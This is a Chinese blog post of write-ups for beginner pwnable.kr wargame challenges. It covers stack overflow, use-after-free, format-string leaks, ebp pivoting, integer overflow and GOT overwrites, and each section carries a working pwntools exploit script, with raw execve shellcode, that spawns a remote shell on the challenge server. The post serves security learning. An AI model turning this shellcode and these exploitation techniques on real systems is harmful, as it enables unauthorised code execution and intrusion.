pwn 学习总结

0x00 记录下学习过程

首先,安天实验室几个pwn专题的实验不错。学习了下,当做入门。 入门之后,找到了练手的好地方:http://pwnable.kr/,这个网站的题目真的很不错。先做简单的,一般都能从网上搜到思路。然后,自己分析写写exp。 接下来,我记录下pwnable.kr上的几个简单题目。

0x01 bof

最简单的栈溢出,源码都给了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

不过还是看ida比较好,可以精确知道overflowmekey分别到栈底(ebp)之间的距离。精确覆盖即可。
可以看到:

1
2
char s; // [sp+1Ch] [bp-2Ch]@1
a1 为函数参数,位置为bp+8h

因此两者之间的距离为34h(也就是52字节)。接下来就是精确覆盖了,简单Payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import time

context.log_level = 'debug'
exe = 'bof'
#s= remote('127.0.0.1',9992,timeout=60)
s= remote('143.248.249.64',9000,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid

raw_input('go!')
getpid()

key = 0xcafebabe

data = 'a'*52 + p32(key)
s.sendline(data)
s.interactive()

0x02 fd

linux下0代表标准输入:

1
2
3
4
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

0x03 uaf

这个题目让我初步理解了use after free漏洞,这个题目还涉及到c++内存布局中的虚函数知识,不好讲清楚。请参考这个链接: http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html 。 这里记录下我对uaf的一个测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <iostream>
//Reference: http://www.cnblogs.com/dinghing154/p/5598752.html
class Car
{
public:
virtual void setValue(int value) = 0;
virtual int getValue() = 0;

protected:
int mValue;
};

class Electric_car : public Car
{
public:
void setValue(int value){
mValue = value;
}

int getValue(){
mValue += 1;
std::cout << "This is Electric_car's getValue" << std::endl;
return mValue;
}
};

class Fuel_car : public Car
{
public:
void setValue(int value){
mValue = value;
}
int getValue(){
std::cout << "This is Fuel_car's getValue" << std::endl;
mValue += 100;
return mValue;
}
};

void handleObject(Car* car)
{
car->setValue(0);
std::cout << car->getValue() << std::endl;
}

int main(void) {
Electric_car *myElectric_car = new Electric_car();
printf("Electric_car=%p\n", myElectric_car);

handleObject(myElectric_car);

free(myElectric_car);//free了指针所指向的内存。未将指针指向NULL

Fuel_car *myFuel_car = new Fuel_car();//在刚刚free的内存上,分配一块内存。此时myElectric_car和myFuel_car指针同时指向这块内存。

printf("Fuel_car=%p\n", myFuel_car);

handleObject(myFuel_car);
//free(myFuel_car);

handleObject(myElectric_car);

return 0;
}

上述代码的运行结果为:

1
2
3
4
5
6
7
8
Electric_car=00658E18
This is Electric_car's getValue
1
Fuel_car=00658E18
This is Fuel_car's getValue
100
This is Fuel_car's getValue
100

内存分配会优先在刚释放的内存区域进行。

0x04 echo1

刚入门,这个题目很不错。 这是个64位程序,扔到ida中,F5慢慢看~ 阅读代码时基本功吧~
很容易能找到溢出点: 变量s在bp-20h处,而我们可以输入128字节的数据。栈上足以让我们写个shellcode。 现在缺少的是如何控制eip,跳转到我们栈上去执行shellcode。 思路:

  • 栈的地址,是不知道的需要找方法泄露。 这题有点困难

  • 找个全局变量,使其存储jmp rsp汇编指令。然后,将栈的返回地址指向它~(全局变量地址是不变的)

刚好有个id变量存储着我们输入进去的name,具体可以用gdb调调看看。然后就好说了:

  • 全局变量id存储jmp rsp汇编指令。
  • 栈返回地址覆盖为id的地址
  • 栈的返回地址以上都是我们的shellcode。(rsp现在就指向这里)

Payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import time

context.log_level = 'debug'
exe = 'echo1'
#s= remote('127.0.0.1',9992,timeout=60)
s= remote('143.248.249.64',9010,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid

raw_input('go!')
getpid()

jmpesp=asm("jmp rsp", arch = 'amd64', os = 'linux')
ret_addr = 0x6020a0
shellcode = ("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8"
"\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57"
"\x48\x89\xe6\x0f\x05" );

s.recvuntil("hey, what's your name? :")
s.sendline(jmpesp) #使id变量,存储jmp rsp指令

s.recvuntil(">")
s.sendline("1")

s.recvuntil("\n")
payload = 'a'*40 + p64(ret_addr) + shellcode #40为32(0x20h)+8(前一个栈帧的ebp占8个字节)
#print data
s.sendline(payload)

s.interactive()

echo2

echo2接着echo1,看到了fsbuaf。根据名字猜测,是格式化字符串漏洞use after free结合。

漏洞点:

  • 格式化字符串漏洞:

这里需要用它来泄露栈地址。

  • use after free漏洞

在我们为选择确定退出之前,下面cleanup()函数已经free(o)了。然后,在echo3函数中,再次使用它。
变量s指针,重新在堆中分配的一块内存,在原来释放变量o的地方。
我们只能输入32字节到内存中。所以只能触发echo3的第1个语句*(o+3)()(把shellcode地址放在第4个位置)。o_QWORD类型,即它是8字节指针,+3则加了24个字节。

shellcode 存储位置

现在我们就可以控制程序调到某个地址去执行。就缺shellcode了~
echo1中全局变量id可以存储,但只有2字节。无法存储一段shellcode。 因此,只能讲shellcode存在栈的上。找到了输入名字处的局部变量v7。
这里v7位于bp-20h处。在汇编代码中,可以看到可以输入24字节到v7中。这样足以存储一段shellcode。

fsb泄露栈地址

万事俱备,只欠东风。现在只剩下最后一个问题:shellcode在栈上~而栈地址我们是不知道的,如何获取? fsb在这里就发挥作用了,在格式化字符串漏洞处打断点。可以看到:
可以在栈上看到可以泄露出一个ffffe420的栈地址。因为%x是输出无符号整数,所以只输出32位。从rsp到这个栈地址就有10的距离了。可以使用%10$x直接输出。 再找找我们输入的名字在哪:在ffffe400处,两者的相对地址为20h。因此,溢出这个地址,就可以得到我们的shellcode地址了。

payload

整理的payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import time

context.log_level = 'debug'
exe = 'echo2'
#s= remote('127.0.0.1',9992,timeout=60)
s= remote('143.248.249.64',9011,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid

raw_input('go!')
getpid()

#shellcode = ("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
# "\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8"
# "\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57"
# "\x48\x89\xe6\x0f\x05" );
shellcode = ""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"

shell_64 = shellcraft.amd64.linux.sh()
shellcode_pwntools = asm(shell_64, arch = 'amd64', os = 'linux')

s.recvuntil("hey, what's your name? :")
s.sendline(shellcode_pwntools)

s.recvuntil(">")
s.sendline("2")

s.recvuntil("\n")
format_str = "%10$x" #use x /100x $rsp to find : ebp value ===> to leak stack address
format_leak = "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
#print data
s.sendline(format_str)
leak_addr = s.recvuntil("\n")
leak_addr = "0x7fff" + leak_addr
addr = int(leak_addr,16) - 0x20 #calc shellcode addr

print addr

addr = p64(addr)
#overwrite the address of greeting function in UAF
s.recvuntil('>')
s.send('4' + '\n')
s.recvuntil(')')
s.send('n' + '\n')
s.recvuntil('>')
s.send('3' + '\n')
s.recvuntil('\n')
s.send('a'*24 + addr) # 利用uaf漏洞,执行addr(栈上)处shellcode。
s.recvuntil('>')

#after overwrite trig greeting function
s.send('2' + '\n')

s.interactive()

simple login

这个题目帮助我理解ebp,esp,eip中的关系。看漏洞点:
input最多有12字节的空间。而v4bp-8h,刚好能覆盖前一栈帧的ebp。 这里可以控制ebp,能干啥事情呢? 先来看看函数开头和结尾的汇编代码:

1
2
3
4
5
push    ebp
mov ebp, esp //esp ==> ebp
.........
leave //相当于 mov ebp,esp; pop ebp;
retn //相当于 pop eip

覆盖ebp到可控全局变量(这里使用input)地址。此时ebp所指向的栈(input内存块)状态为: 函数执行完成后,会执行mov ebp,esp;。esp此时会执行栈底(即上图ebp的位置)。 pop ebp; esp便指向了返回地址处(这里存储system('/bin/sh')语句地址)。 pop eip eip便跳到shell处执行命令了。 payload很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import * 
import base64
context.log_level = 'debug'
exe = 'login'
#s= remote('127.0.0.1',9992,timeout=60)
s= remote('143.248.249.64',9003,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid

raw_input('go!')
getpid()

system_addr = 0x08049278
input_addr = 0x0811EB40

payload = base64.b64encode("a"*4 + p32(system_addr) + p32(input_addr))

s.recvuntil('Authenticate :')
s.sendline(payload)

s.interactive()

dragon

这里有uaf漏洞和一个整数溢出漏洞

  • 当我们胜利打败dragon后,会产生一个uaf漏洞,eip直接跳到我们输入的地址。
  • 如何打败dragon~ dragon的血量只有一字节,一直防守,使其产生整数溢出。自爆~~

对应代码为:

1
while ( *((_BYTE *)ptr + 8) > 0 );  //byte 代表一字节。

具体看Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import time

context.log_level = 'debug'
exe = 'dragon'
#s= remote('127.0.0.1',9992,timeout=60)
s= remote('143.248.249.64',9004,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid

raw_input('go!')
getpid()

system_addr = 0x08048DBF

s.send("1\n3\n3\n2\n3\n3\n2\n") # 选1号角色,不停防守,使dragon自爆。
s.send("1\n3\n3\n")
for i in range(3):
s.send("2\n3\n3\n")
s.send("2\n")

s.sendline(p32(system_addr))

s.interactive()

brain fuck

漏洞点:

  • 我们可以通过控制指针来读写内存中有限范围内地址的内容。

利用:

  • 改变原有函数的got表(认准.got.plt),使其指向我们特定的函数。例如:system('/bin/sh')

本地我们产生这样的效果: payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import * 
import base64
context.log_level = 'debug'
exe = 'bf'
#s= remote('127.0.0.1',9992,timeout=60)
s= remote('143.248.249.64',9001,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid

raw_input('go!')
getpid()

libc = ELF("./bf_libc.so")

system_libc = libc.symbols['system']#0x0003F0B0
print "%x"%system_libc
putchar_libc = libc.symbols['putchar']#0x000677D0
print "%x"%putchar_libc
gets_libc = libc.symbols['gets']#0x00065E90
print "%x"%gets_libc

fgets_libc = libc.symbols['fgets']#0x00064BC0
print "%x"%fgets_libc

fgets_got = 0x0804A010
memset_got = 0x0804A02C
putchar_got = 0x0804A030

p_init_addr = 0x0804A0A0

main_addr = 0x08048671

payload = '<' * (p_init_addr-fgets_got) + ".>"*4 + '<'*4 # leak putchar addr
payload += ',>'*4 + '<'*4 # make fgets to system
payload += '>' * (memset_got - fgets_got) + ',>'*4 + '<'*4 #make memset to gets
payload += '>' * (putchar_got - memset_got) + ',>'*4 + '<'*4 #make putchar to main
payload += '.'

s.recvuntil('type some brainfuck instructions except [ ]')
s.sendline(payload)
fgets_real = int(s.recvn(5)[1:][::-1].encode("hex"),16) # leak real_addr in process
print "%x" % fgets_real

system_real = fgets_real + system_libc - fgets_libc
gets_real = fgets_real + gets_libc - fgets_libc

s.send(p32(system_real))
s.send(p32(gets_real))
s.send(p32(main_addr))
s.sendline('/bin/sh')

s.interactive()

这里需要使程序再次回到main函数中,所以将putchar函数覆盖为main函数地址。 有疑问,测试过程中发现: 只能最后对putchar赋值为main函数地址?
猜测:putchar()和getchar()之间有关联。

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/10/28/pwn-learning-summary/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog